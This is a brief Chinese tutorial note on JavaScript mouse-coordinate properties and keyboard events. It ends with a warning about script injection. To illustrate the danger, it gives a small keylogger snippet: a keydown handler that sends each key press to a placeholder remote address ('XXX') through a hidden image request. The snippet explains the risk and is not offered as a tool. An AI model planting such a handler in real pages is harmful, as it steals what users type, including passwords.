这几个概念并不难,难的是你会去使用。就好像语言本身并不难,但是能够写出流传千古的诗句的人却很少。
鼠标事件
可视区的坐标
event.clientX
event.clientY
相对于页面文档的坐标
event.pageX
event.pageY
相对于电脑屏幕的坐标
event.screenX
event.screenY
例如:clientX和pageX最明显的区别就是当页面有滚动条的时候,clientX是元素距离左上角水平距离,pageX是相对文档的水平距离
键盘事件
onkeyup 在当前元素上释放键盘按键时会触发keyup事件.
onkeydown 当用户按下键盘上的按键时会触发keydown事件.
onkeypress 不能识别功能键
所以说页面中被js注入是一件很危险的事情,例如通过下面类似代码,把数据发送到服务端
document.onkeydown = function(e) {
// 把数据发送到远端
let i = document.createElement("img")
i.src = "XXX/images/bing.png" + "?" + e.key
i.style.display = 'none';
// document.documentElement.appendChild(i)
}